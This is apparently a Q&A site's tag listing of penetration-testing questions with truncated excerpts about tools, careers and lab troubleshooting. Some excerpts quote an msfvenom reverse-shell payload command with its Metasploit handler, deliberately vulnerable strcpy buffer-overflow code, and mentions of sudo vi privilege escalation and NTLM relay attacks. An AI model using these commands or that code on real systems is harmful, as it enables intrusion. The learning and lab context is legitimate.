Questions tagged [penetration-test]
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
1,169
questions
0
votes
1answer
71 views
How do professional pentesters use Kali? [on hold]
I'm an aspiring Hacker/Pentester/Red-teamer. I'm somewhat familiar with Linux, currently using Windows, Ubuntu and Kali.
I've know that many professional pentesters use Kali for their job. There are ...
0
votes
0answers
32 views
Application and API Penetration Testing - SaaS solutions [closed]
I have managed projects where we have used a third-party to do application penetration testing. Based on what I could gather, it entailed manual testing and did identify some good issues. We also used ...
-1
votes
0answers
37 views
File path in file metadata [on hold]
I am currently learning about OSINT gathering tools and I was wondering if once you download a file the file path in the metadata always changes to the one in your machine. Is there a way to stop this ...
0
votes
0answers
24 views
Configure gRPC with Burp Suite
I have been given a task to do security auditing of the APIs which are running in gRPC. I am using BloomRPC for querying the gRPC Services.
But there so no such option in BloomRPC to proxy the ...
1
vote
1answer
240 views
“I hacked my way into this interview”: Is this a good idea for getting a job? [closed]
There's been some joking on the internet where a candidate would "hack their way into getting a job interview" and disclose that as a proof of skill in a job related to Infosec.
If I somehow find a "...
1
vote
0answers
71 views
Regex DoS: Is OWASP's characterization of “evil regexes” complete?
OWASP defines "evil regex" (here) as follows:
Evil Regexes
A Regex is called "evil" if it can stuck on crafted input.
Evil Regex pattern contains:
Grouping with repetition
...
0
votes
1answer
78 views
How to get gain the knowledge to be a beginner penetration tester on my own? [closed]
I want to apply for a job as a penetration tester in a good company. I have a fairly good knowledge of programming and have experience as a back-end developer.
I started to work with Burpsuite, ZAP, ...
1
vote
0answers
57 views
Security aspect in the API gateway area
I am currently planning security testing procedures within an API gateway. We want to define in advance what we expect to be covered on the security level.
Scanning REST APIs
(see http://docs.w3af....
39
votes
5answers
9k views
Pen test results for web application include a file from a forbidden directory that is not even used or referenced
In a recent pen test of a web application one of the issues found was a 'backup file'. This was a javascript file that was renamed to filename.js1 when an updated version of filename.js was uploaded.
...
1
vote
2answers
153 views
Terminate a javascript without “continuous” < and / [closed]
So I am testing a website and found out I can inject most characters, here is what I have found:
" is always escaped with \"
< and > are not escaped
Interestingly, / is only escaped with / if < ...
0
votes
1answer
94 views
Free/online penetration testing tools [closed]
My employer has used an external consultant for penetration testing. The web development team not involved in the pentesting itself and we only received the results and suggestions on how to improve ...
0
votes
1answer
47 views
How to check vulnerable component and its version in any APK?
I have given an app to test, on which I ran a quick scan in composition tool like Protecode, It shows all component (like okhttp, protobuf,okhttp etc.) used and existing vulnerability.
My question is,...
1
vote
1answer
111 views
Path Manipulation Vulnerability
Currently I am working in code review process.
I have few doubts regrading Path Manipulation Vulnerability.
Some portion of the Path is already hard coded and with extension
public class ReadFile {
...
4
votes
1answer
115 views
ActiveDirectory PenTest Help [closed]
I'm popped in the middle of the domain with what appears to be a VERY solid network. Good policy, good security, a lot of the usual tactics won't work. I cant pass-the-hash, find any SYSVOL loot, or ...
0
votes
1answer
52 views
Security test within a staging environment. Is SOAPUI sufficient as a test tool?
Currently I am working on a project in which I am supposed to define the following aspects as a test manager:
Conception of a penetration test for a test staging environment
Planning security ...
-1
votes
1answer
39 views
Sack team_id leaking in source code [closed]
I found slack team_id in vdp source code, is it a sensitive token if yes how can I use it for a PoC?
0
votes
1answer
82 views
Adding Floating point operations to fuzzing?
During analysing a software testing paper I read
We plan to add floating-point operations in order to extend fuzz testing capability.
What kind of benefits I can expect from adding floating point ...
-2
votes
2answers
182 views
Why use tools such as BurpSuite, nmap or SQLmap?
I mean why are tools needed for pen-testing? I've hacked websites using plain XSS and SQL injections. I didn't require any tools such as the ones I listed above. Now that I want to progress further ...
2
votes
2answers
172 views
Privilege Escalation TTY error while using sudo /usr/bin/vi command [closed]
I am currently trying to escalate my privileges on an Ubuntu box. When I enumerated the server and run "sudo -l" command, I found out /usr/bin/vi set to (root) NOPASSWD.
(root) NOPASSWD: /usr/bin/vi /...
1
vote
2answers
90 views
I want know if a file with php code but without extension name could be exploted?
I'm testing a site and I found a file with critical php code but this does not have extension name, my question is it could be exploited for a shell attack or something like?
I don't found nothing ...
1
vote
1answer
80 views
Looking for real penetration testing reports [closed]
I'm wondering if there's any repository with leaked penetration testing reports?
I found some samples but I'm not confident they are taken from real life cases.
Does any one know where can I find ...
1
vote
0answers
34 views
Configure Burp to pass dynamic authentication token from the past response to the next request in intruder
I would like to reuse an authentication token (which is dynamic) between a response and a request in Burp Suite intruder.
By dynamic I mean that the token is invalidated after being sent to the ...
0
votes
1answer
117 views
As a private individual, what might I learn from hiring a pentester for my home network? [closed]
It's far from unusual for companies to hire external pentesters to probe their systems in order to expose vulnerabilities. Finding companies that cater to this market isn't difficult, and a few ...
-1
votes
2answers
139 views
How to perform a security test/review/penetration testing of Ethernet ports?
I have been engaged by a client who wants its Ethernet ports checked to determine whether port security is functioning effectively.
What can be the approach or steps to do check Ethernet port ...
0
votes
0answers
30 views
How to test post authentication web site (i.e secured resources) in whitebox?
I have a web app which is has a login portal and secured pages only accessible when login is accepted.
I'm in a whitebox scenario and I want to pentest pages beyond the login portal.
My problem is I ...
1
vote
0answers
61 views
how to create random request time delay in sqlmap?
How can i configure sql-map to try payloads at random time delay?
as an example time between first and second request can be 0.10s and second and third might 0.25 and so on.
i know there is --delay ...
0
votes
0answers
46 views
Antivirus and it's role in detecting payload execution?
My first question is this:
1) Antivirus software works using signature based detection. Signature based detection evaluates items (maybe not the right word?) based upon a big database of known threats....
0
votes
1answer
75 views
How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]
I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
102 views
Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi
I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM.
...
1
vote
1answer
769 views
Why doesn't my systemctl command work? [closed]
I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as ...
1
vote
1answer
95 views
Simple buffer overflow trying to leak address of system()
Code:
#include <string.h>
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I've determined I ...
1
vote
0answers
84 views
Basic buffer overflow able to overwrite EIP but doesn't correctly overwrite when using memory address
I wrote a basic vulnerable app in C.
#include
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I ...
0
votes
0answers
74 views
Where are NTLM and LM hashes stored in a password protected microsoft presentation file
I have a password protected presentation file (MS office 2003).
My assignment required me to either remove the password or find it.
In my research i found out that presentation use ntlm and/or nt ...
0
votes
1answer
50 views
How to access a shared webhosting webpage without the domainname?
I would like to know how one can access a shared webhosted webpage without using the domainname. If i directly access the IP adress I get Apache is functioning normally
I need to access it since the ...
1
vote
0answers
89 views
For pen testing why would the client need to sign a NDA?
I'm starting the process of doing some pen testing and other security related things as a contractor. Specifically regarding pen testing. I have been Googling around to put together some docs for the ...
0
votes
0answers
59 views
Using Responder.py to WPAD Poisoning
I have set up Responder.py to WPAD Poisoning to display a Login-Prompt but it does not show it on Victims Machine if they surf to example google.com.
In Wireshark, i see that the WPAD is resolved to ...
1
vote
1answer
172 views
How to find a website behind a Firewall? [closed]
Some context for my question: I'm currently studying Information Security, and this is for an assignment from my teacher.
For my assignment, I received two IP addresses. I did a port scan with nmap ...
1
vote
1answer
85 views
Are there technical framework for IT sec audit just like there are management frameworks?
TL;DR
Are there technical frameworks (processes with checklists ruled by international standards like COBIT, ISO 27000) for IT security analysis/auditing ?
Hello,
Let's say you're a software ...
3
votes
0answers
54 views
Good book detailing the security aspects of Microsoft Active Directory [closed]
I am attending training later this summer related to AD pentesting. As such, I wanted to ask for book recommendations which detail (in full or in part) the security aspects of Active Directory. The ...
0
votes
0answers
136 views
How to fingerprint Windows 10 reliably?
Recently, I have been practicing penetration testing and I have come to a standstill when trying to fingerprint the OS for a Windows 10 target with nmap.
For the most part, I'm not able to identify ...
1
vote
1answer
85 views
It is possible to enumerate/discover IIS applications from outside?
I wonder if it is possible that someone, from the Internet, could be able to discover services provided via IIS by knowing only the IP address.
If yes, how? And how can I protect my IIS from this ...
0
votes
0answers
54 views
Execute internal penetration test without touching Active Directory
I'm part of a penetration testing team and part of my responsibilities for this quarter are organizing red team engagements for the rest of the year.
This quarter, we've received buy-in from all org ...
0
votes
0answers
257 views
Problems relaying NTLMv2 with Responder and MultiRelay
I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box:
IP: 192.168.1.13
...
0
votes
0answers
56 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
0
votes
1answer
64 views
Incorrect results via Nexpose, but displaying correct one with Nmap
We are scanning our network via Nexpose. Recently an asset was found vulnerable to Wannacry CVE 2017-0146 SMB Remote code execution vulnerability. However when i have tested it same through Nmap it ...
0
votes
1answer
64 views
Nikto commandline options
I was reading from Nikto's site on the commandline options used and I am curious about this option
https://cirt.net/nikto2-docs/options.html
-ask
Whether to ask about submitting updates: yes (ask ...
0
votes
3answers
285 views
Will pentesting my own LAN violate ISP rules? [closed]
I want to learn and practice penetration testing on my own network, and I want to be sure I'm making it legal.
Is there a system that reports to my ISP that I'm making suspicious activities, even if ...
0
votes
0answers
151 views
SQLMAP injection with dynamic token?
I've a web app that has an injection point in POST data.
POST data requires 4 params and one of these is a session-custom token. The problem is that every time request is made i need to get a new ...
0
votes
0answers
50 views
Logging Keycode event in android secure or insecure?
During the android application security assessment, I have observed the application logging the keycode events at sensitive areas like credit card input field. Is it secure or not?
Please observe the ...
0
votes
1answer
161 views
Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)
I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...
